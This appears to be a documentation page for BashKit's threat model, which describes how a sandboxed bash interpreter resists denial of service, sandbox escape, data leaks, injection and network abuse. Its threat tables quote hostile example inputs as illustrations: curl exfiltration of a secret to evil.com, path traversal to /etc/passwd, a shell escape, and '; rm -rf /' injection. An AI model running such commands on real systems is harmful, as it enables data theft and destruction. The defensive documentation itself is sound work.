Skip to main content

Module threat_model

Module threat_model 

Source
Expand description

Security threat model guide.

This guide documents security threats addressed by BashKit and their mitigations. All threats use stable IDs for tracking and code references.

Topics covered:

  • Denial of Service mitigations (TM-DOS-*)
  • Sandbox escape prevention (TM-ESC-*)
  • Information disclosure protection (TM-INF-*)
  • Network security controls (TM-NET-*)
  • Multi-tenant isolation (TM-ISO-*)

Related: ExecutionLimits, FsLimits, NetworkAllowlist

§Threat Model

BashKit is designed to execute untrusted bash scripts safely in sandboxed environments. This document describes the security threats we address and how they are mitigated.

See also:

§Overview

BashKit assumes all script input is potentially malicious. The sandbox prevents:

  • Resource exhaustion (CPU, memory, disk)
  • Sandbox escape (filesystem, process, privilege)
  • Information disclosure (secrets, host info)
  • Network abuse (exfiltration, unauthorized access)

§Threat Categories

§Denial of Service (TM-DOS-*)

Scripts may attempt to exhaust system resources. BashKit mitigates these attacks through configurable limits.

ThreatAttack ExampleMitigationCode Reference
Large input (TM-DOS-001)1GB scriptmax_input_bytes limitlimits.rs
Infinite loops (TM-DOS-016)while true; do :; donemax_loop_iterationslimits.rs
Recursion (TM-DOS-020)f() { f; }; fmax_function_depthlimits.rs
Parser attack (TM-DOS-024)Malformed inputparser_timeoutlimits.rs
Filesystem bomb (TM-DOS-007)Zip bomb extractionFsLimitsfs/limits.rs
Many files (TM-DOS-006)Create 1M filesmax_file_countfs/limits.rs

Configuration:

use bashkit::{Bash, ExecutionLimits, FsLimits, InMemoryFs};
use std::sync::Arc;
use std::time::Duration;

let limits = ExecutionLimits::new()
    .max_commands(10_000)
    .max_loop_iterations(10_000)
    .max_function_depth(100)
    .timeout(Duration::from_secs(30))
    .max_input_bytes(10_000_000);  // 10MB

let fs_limits = FsLimits::new()
    .max_total_bytes(100_000_000)  // 100MB
    .max_file_size(10_000_000)     // 10MB per file
    .max_file_count(10_000);

let fs = Arc::new(InMemoryFs::with_limits(fs_limits));
let bash = Bash::builder()
    .limits(limits)
    .fs(fs)
    .build();

§Sandbox Escape (TM-ESC-*)

Scripts may attempt to break out of the sandbox to access the host system.

ThreatAttack ExampleMitigationCode Reference
Path traversal (TM-ESC-001)cat /../../../etc/passwdPath normalizationfs/memory.rs
Symlink escape (TM-ESC-002)ln -s /etc/passwd /tmp/xSymlinks not followedfs/memory.rs
Shell escape (TM-ESC-005)exec /bin/bashNot implementedReturns exit 127
External commands (TM-ESC-006)./maliciousNo external execReturns exit 127
eval injection (TM-ESC-008)eval "$input"Sandboxed evalOnly runs builtins

Virtual Filesystem:

BashKit uses an in-memory virtual filesystem by default. Scripts cannot access the real filesystem unless explicitly mounted via MountableFs.

use bashkit::{Bash, InMemoryFs};
use std::sync::Arc;

// Default: fully isolated in-memory filesystem
let bash = Bash::new();

// Custom filesystem with explicit mounts (advanced)
use bashkit::MountableFs;
let fs = Arc::new(MountableFs::new());
// fs.mount_readonly("/data", "/real/path/to/data");  // Optional real FS access

§Information Disclosure (TM-INF-*)

Scripts may attempt to leak sensitive information.

ThreatAttack ExampleMitigationCode Reference
Env var leak (TM-INF-001)echo $SECRETCaller responsibilitySee below
Host info (TM-INF-005)hostnameReturns sandbox valuebuiltins/system.rs
Network exfil (TM-INF-010)curl evil.com?d=$SECRETNetwork allowlistnetwork/allowlist.rs

Caller Responsibility (TM-INF-001):

Do NOT pass sensitive environment variables to untrusted scripts:

// UNSAFE - secrets may be leaked
let bash = Bash::builder()
    .env("DATABASE_URL", "postgres://user:pass@host/db")
    .env("API_KEY", "sk-secret-key")
    .build();

// SAFE - only pass non-sensitive variables
let bash = Bash::builder()
    .env("HOME", "/home/user")
    .env("TERM", "xterm")
    .build();

System Information:

System builtins return configurable sandbox values, never real host information:

let bash = Bash::builder()
    .username("sandbox")         // whoami returns "sandbox"
    .hostname("bashkit-sandbox") // hostname returns "bashkit-sandbox"
    .build();

§Network Security (TM-NET-*)

Network access is disabled by default. When enabled, strict controls apply.

ThreatAttack ExampleMitigationCode Reference
Unauthorized access (TM-NET-004)curl http://internal:8080URL allowlistnetwork/allowlist.rs
Large response (TM-NET-008)10GB downloadSize limit (10MB)network/client.rs
Redirect bypass (TM-NET-011)Redirect to evil.comNo auto-redirectnetwork/client.rs
Compression bomb (TM-NET-013)10KB → 10GB gzipNo auto-decompressnetwork/client.rs

Network Allowlist:

use bashkit::{Bash, NetworkAllowlist};

// Explicit allowlist - only these URLs can be accessed
let allowlist = NetworkAllowlist::new()
    .allow("https://api.example.com")
    .allow("https://cdn.example.com/assets/");

let bash = Bash::builder()
    .network(allowlist)
    .build();

// Scripts can now use curl/wget, but only to allowed URLs
// curl https://api.example.com/data  → allowed
// curl https://evil.com              → blocked (exit 7)

§Injection Attacks (TM-INJ-*)

ThreatAttack ExampleMitigation
Command injection (TM-INJ-001)$input containing ; rm -rf /Variables expand to strings only
Path injection (TM-INJ-005)../../../../etc/passwdPath normalization
Terminal escapes (TM-INJ-008)ANSI sequences in outputCaller should sanitize

Variable Expansion:

Variables expand to literal strings, not re-parsed as commands:

# If user_input contains "; rm -rf /"
user_input="; rm -rf /"
echo $user_input
# Output: "; rm -rf /" (literal string, NOT executed)

§Multi-Tenant Isolation (TM-ISO-*)

Each Bash instance is fully isolated. For multi-tenant environments, create separate instances per tenant:

use bashkit::{Bash, InMemoryFs};
use std::sync::Arc;

// Each tenant gets completely isolated instance
let tenant_a = Bash::builder()
    .fs(Arc::new(InMemoryFs::new()))  // Separate filesystem
    .build();

let tenant_b = Bash::builder()
    .fs(Arc::new(InMemoryFs::new()))  // Different filesystem
    .build();

// tenant_a cannot access tenant_b's files or state

§Internal Error Handling (TM-INT-*)

BashKit is designed to never crash, even when processing malicious or malformed input. All unexpected errors are caught and converted to safe, human-readable messages.

ThreatAttack ExampleMitigationCode Reference
Builtin panic (TM-INT-001)Trigger panic in builtincatch_unwind wrapperinterpreter/mod.rs
Info leak in panic (TM-INT-002)Panic exposes secretsSanitized error messagesinterpreter/mod.rs
Date format crash (TM-INT-003)Invalid strftime: +%QPre-validationbuiltins/date.rs

Panic Recovery:

All builtins (both built-in and custom) are wrapped with panic catching:

If a builtin panics, the script continues with a sanitized error.
The panic message is NOT exposed (may contain sensitive data).
Output: "bash: <command>: builtin failed unexpectedly"

Error Message Safety:

Error messages never expose:

  • Stack traces or call stacks
  • Memory addresses
  • Real filesystem paths (only virtual paths)
  • Panic messages that may contain secrets

§Logging Security (TM-LOG-*)

When the logging feature is enabled, BashKit emits structured logs. Security features prevent sensitive data leakage:

ThreatAttack ExampleMitigation
Secrets in logs (TM-LOG-001)Log $PASSWORD valueEnv var redaction
Script leak (TM-LOG-002)Log script with embedded secretsScript content disabled by default
URL credentials (TM-LOG-003)Log https://user:pass@hostURL credential redaction
API key leak (TM-LOG-004)Log JWT or API key valuesEntropy-based detection
Log injection (TM-LOG-005)Script with \n[ERROR]Newline escaping

Logging Configuration:

use bashkit::{Bash, LogConfig};

// Default: secure (redaction enabled, script content hidden)
let bash = Bash::builder()
    .log_config(LogConfig::new())
    .build();

// Add custom redaction patterns
let bash = Bash::builder()
    .log_config(LogConfig::new()
        .redact_env("MY_CUSTOM_SECRET"))
    .build();

Warning: Do not use LogConfig::unsafe_disable_redaction() or LogConfig::unsafe_log_scripts() in production.

§Security Testing

BashKit includes comprehensive security tests:

§Reporting Security Issues

If you discover a security vulnerability, please report it privately via GitHub Security Advisories rather than opening a public issue.

§Threat ID Reference

All threats use stable IDs in the format TM-<CATEGORY>-<NUMBER>:

PrefixCategory
TM-DOSDenial of Service
TM-ESCSandbox Escape
TM-INFInformation Disclosure
TM-INJInjection
TM-NETNetwork Security
TM-ISOMulti-Tenant Isolation
TM-INTInternal Error Handling
TM-LOGLogging Security

Full threat analysis: specs/006-threat-model.md